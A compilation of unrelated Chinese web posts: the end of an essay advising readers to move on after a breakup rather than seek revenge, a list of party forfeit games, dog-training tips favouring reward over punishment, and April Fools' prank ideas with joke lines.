只是，走不出来的，始终都是她一个人。男生在她面前，一直都是冷静的，理智的，是完全居高临下的姿态，他好像丝毫不担心她的难过，他把那个女生保护得很好，而在她面前，却陌生得如同两个人从不相识。

渐渐地，她便产生恨了。

也产生了想要报复他的心思。

真的，不管你在一段关系结束以后，心里有再多的委屈，这种报复的心思一旦产生，最终消耗的只会是你自己的情绪，伤害的也只会是你自己而已。

仅仅只有你一个人。

你那些自以为是的报复方式，从来都不影响别人的风生水起。

其实，我说句扎心的话，你所苦苦思念的关于过去的那个人，你以为的意难平，可能压根没有想起过你。

你以为的风水轮流转，也不过是自我安慰而已。

我见过最傻的报复方式，就是用伤害自己的方法，试图来报复对方。亲爱的，你明白一件事吗？你这样做，能够伤害的，只有在乎你的人而已，他不在乎你了，所以你怎么样，其实他都没有任何关心，但那些真正把你放在心上的人，比如你的父母，你最好的朋友，他们却是真的会为你感到提心吊胆。

这个世界上，每一种爱其实都有它存在的意义，有的爱让人遗憾，有的爱让人感到温暖，而有的爱就是来教会你一些道理，至于里面的情节，有好有坏，但最终这些东西都会让你真正成长。

所以，你应该把目光收回来，你不要再去比对自己失去了什么，付出了什么，没有意义，因为失去的东西，永远不会再回来。你要思考的，是你在这段关系里得到了什么，还有以后的你最想要什么，以及如何去得到。

是的，可能有些人曾经亏欠了你，但这也不意味着你什么都没得到。

因为在这个付出的过程中，你也是开心的，不是吗？只是结果未能如愿而已，其实很多人都不能如愿，爱而不得是常态，被辜负的人更是比比皆是。

但尽管如此，依旧有着很多人，收拾好心情，继续向阳而生，而不是执拗于过去的故事里。

你可以暂时允许自己伤心，躲在一个地方悄悄哭泣。但你不能一直这样，你得给自己设一个期限，比如，半个月以后，你就要强迫自己按照既定的方向前行。

退一万步讲，就算你在这段关系中，一直是付出得多的那一方，你受尽委屈，最后还被狠狠辜负，但我也认为不全是坏事，如果一段恋爱能够彻底治好你的恋爱脑，那也不算白谈，你以后的路也会更顺风顺水。

所以，一个人如果伤害了你，最狠的报复，其实应该如此：记住这个教训，以后别再掉进类似的坑里，然后在接下来的生活中，让自己越过越好。

至于那个过去的人，爱了就爱了，过了就过了，任何爱，说到底都不过是愿赌服输四个字而已。你既然敢付出，那么就要输得起。

-END-

和每个来这里的人谈爱说情，但无关风月。点击上方关注，欢迎来到我的世界。

公司团建50条+惩罚游戏大全

1. 卖萌三连拍、鬼脸三连拍

2. 用屁股写出自己的名字

3. 单手高举，大喊“我是超人，我要拯救世界”

4. 对着垃圾桶大笑十秒

5. 和右边第一个人面对面十指相扣，深情对视并朗诵《鹅》

6. 给微信好友通信录中第5个人唱一首《葫芦娃》

7. 原地转10圈再回到自己的位置上

8. 深情演唱《两只老虎》

9. 站起来笑，蹲下哭，反复5次

10. 嘴里含一口水，从1数到10，水喷出来要重新开始

11. 学企鹅跑的样子

12. 今朝有酒今朝醉，自己喝一杯

13. 模仿5种动物的叫声

14. 疯狂夸自己十个优点

15. 闭眼睛，左转三圈，右转三圈，再睁开眼睛，走回自己的座位

16. 给最近的人擦嘴巴

17. 晒一下你的手机壁纸

18. 将笔或筷子夹在鼻子和嘴中间，用普通话读3遍“漏斗眼里流绿豆，绿豆流进漏斗眼”

19. 深情地说10句土味情话

20. 选一个人一边捶ta的胸口一边说：你好讨厌哦

21. 同手同脚走一圈

22. 男生做15个俯卧撑，女生原地跳10次

23. 找一个在场的同性，公主抱10秒钟

24. 自己跟自己成语接龙5个词

25. 表演大猩猩捶胸动作，并呐喊我是/女

26. 扮演猪八戒的四个经典动作

27. 发朋友圈说“我再也不想尿床了”

28. 用头写我是一个笨蛋

29. 快速说10遍：“我是人不是猪，我不是猪我是人”

30. 同手同脚的走路，绕场一周

31. 惩罚者需要面对大家用诗朗诵严肃的读出下面这首词 “安思竹，岸是绿。岸寺透竹，岸是透绿。安思之竹，安思之纯竹。岸是之绿，岸是之纯绿。”

32. 找三个玻璃杯，敲第一个杯子的时候，被惩罚人需喊 “忘”，敲第二个杯子时喊“情”，敲第三个杯子的人则喊“水”。敲哪个杯子由赢家定，至少敲3轮（9次）

33. 摆出3个健美先生的造型，拍照发朋友圈或群里

34. 模仿抖音大妈：“退！退！退！退！”

35. 做10个青蛙跳，每跳一下要“呱”一声

36. 背起在场的一个人，绕场一周

37. 演唱一首自己喜欢的歌

38. 给大家送上10句祝福的话

39. 用悲伤的语气唱一首儿歌（《小燕子》《找朋友》《丢手绢》等）

40. 左手摸右耳，右手摸左耳，从桌子底下钻过

41. 唱《黑猫警长》

42. 学僵尸走，需大于5米

43. 模仿奥特曼的经典造型

44. 不用手喝饮料

45. 打开抖音模仿推荐的第一个人

46. 手插腰，走猫步

47. 蹲在凳子上做便秘状

48. 对离你最近的异性单膝下跪说：你是我的神

49. 做一个瑜伽动作

50. 大象鼻转10圈为队友画美人痣，队友坐一排

51. 晒一下相册第一张照片

52. 透露一个自己学生时代的外号或小名

53. 喝下左右同事倒的饮料或酒水

54. 唱出周杰伦5首歌曲

55. 不卡壳说出所有队友的名字

56. 说出公司的愿景、使命、价值观

免责声明：以上内容资料均来源于网络，如有侵权，联系删除。

对狗狗正确的奖励和惩罚方法

对狗狗的训练中，奖励和纪律都是必要的，但方法和时机都很关键。以下是对狗狗进行奖励和纪律的正确方法：

1、奖励：

及时性：当狗狗展示出你期望的行为时，立即奖励它。这样狗狗才能将其与所做的行为联系起来。使用食物奖励：大多数狗狗对食物奖励有很强的反应。可以使用小零食作为奖励。夸奖与抚摸：对狗狗说“好狗”或轻轻地抚摸它，也是一种有效的奖励。玩耍：使用玩具或和狗狗玩耍也可以作为奖励，尤其是对那些非常活跃的狗狗。持续性：在狗狗完全学会一个新的行为或命令之前，每次它正确地执行时都要奖励。

2、惩罚或纪律：

避免体罚：体罚狗狗（如打或踢）不仅是残酷的，而且很可能会导致狗狗害怕你或变得攻击性。立即性：和奖励一样，惩罚或纪律也必须是即时的。如果你没有现场捉到狗狗的不当行为，它可能不明白为什么被惩罚。使用“不”命令：当狗狗做错事时，用坚定的声音说“不”。但要确保你的声音是坚定的，而不是尖叫。忽视：对某些行为，如为了引起注意而叫，简单地忽略狗狗可能是最有效的纪律方式。时间外：如果狗狗过于兴奋或行为失控，可以将它暂时隔离在一个没有玩具和干扰的安全地方，直到它冷静下来。避免长时间的惩罚：长时间的隔离或惩罚通常是无效的，因为狗狗很快就会忘记为什么被惩罚。一致性：所有家庭成员在何时以及如何纪律狗狗上都应该保持一致。

最后，对狗狗的训练应该基于积极的奖励方法，而不是惩罚。通过正向的鼓励和及时的纪律，你可以帮助狗狗成为一个听话、快乐的伙伴。

愚人节整蛊特辑套路大全 愚人节整人的方法玩笑事例

愚人节2021年最新整蛊套路大全分享给大家更多整人的精选句子，一起去看看吧。

愚人节下面这些关于整人的句子一定不能错过了，小小的一句话可谓是全场皆笑，还能够整蛊到对方，一起去看看。

一、愚人节整蛊套路大全

1、公司整蛊

老板式的风格，在愚人节这天在早上七点通知大家今天不上班休假，然后再在8点的时候通知大家今天上班，愚人节快乐，迟到的扣双倍迟到金，绝对是很皮很任性的老板了。

2、情侣整蛊

当然情侣之间因为对彼此都比较有耐心，那么在愚人节这天发一句超长的语音，说听到最后有惊喜，最后可以说傻瓜你被骗了，或者是我在你的床头放了礼物等等，发挥看个人了，就看对方有没有耐心听完到最后了。

3、表白技巧

愚人节表白可谓是进可攻退可守的一天，在这天给自己喜欢的人说一句我喜欢你好久，可以跟我在一起吗？如果答应那么就说很幸运今天能够借着愚人节的胆子说出真心话，如果对方拒绝了，那么可以下一句接愚人节快乐。

二、关于愚人节整人的句子精选

1.愚人节过完就是清明节。是真的。

2.愚人节是怎么过的呀！当清明节过呗。

3.愚人节的表白对我来说，既是真心话也是大冒险。

4.愚人节最怕老板说加班，走也不是，不走也不是。

5.别紧张，不用怕，我又不是什么好人。愚人节快乐。

6.愚人节快乐，让你我今天都变成愚人，明天只有我变成聪明人。

7.以后我不养猫不养狗只养你，真的吗?，嗯毕竟养猪可以发家致富。

8.人生最大的悲哀，不是愚人节被人骗，而是愚人节连骗你的人都没有。

9.今天是愚人节，你对象肯定会叫你出去玩，千万不要信，因为你根本没有对象。

10.清晨你轻轻地走近我的床前，深情地吻着我的脸，你那深遂的眼眸始终注视着我，实在无法拒绝你——“狗狗乖，带你去散步”。

总结：

愚人节整蛊他人的方法为大家分享了一些，同时也整理了一些精选的愚人节整人句子，希望能够对大家有所帮助。

来源：wed114